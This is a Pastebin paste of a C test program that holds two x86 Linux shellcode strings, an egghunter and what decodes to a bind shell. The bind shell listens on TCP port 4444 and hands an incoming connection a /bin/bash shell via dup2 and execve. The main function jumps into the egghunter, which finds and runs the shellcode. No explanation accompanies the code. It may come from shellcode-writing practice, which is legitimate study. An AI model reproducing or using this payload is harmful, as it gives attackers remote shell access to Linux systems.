Advertisement
Guest User

Untitled

a guest
Jul 18th, 2019
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. #include<stdio.h>
  2. #include<string.h>
  3.  
  4.  
  5. unsigned char code[] = \
  6. "\x90\x50\x90\x50\x90\x50\x90\x50"
  7. "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xdb\x53\x66\x68\x11\x5c\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\x31\xc0\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x31\xd2\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xd2\x52\x52\x57\x31\xdb\xf7\xe3\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
  8.  
  9. unsigned char egghunter[] = \
  10. "\x31\xc9\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
  11.  
  12. main()
  13. {
  14.  
  15. printf("Egghunter Length: %d\n",strlen(egghunter));
  16. printf("Shellcode Length: %d\n", strlen(code));
  17. int (*ret)() = (int(*)())egghunter;
  18. ret();
  19.  
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement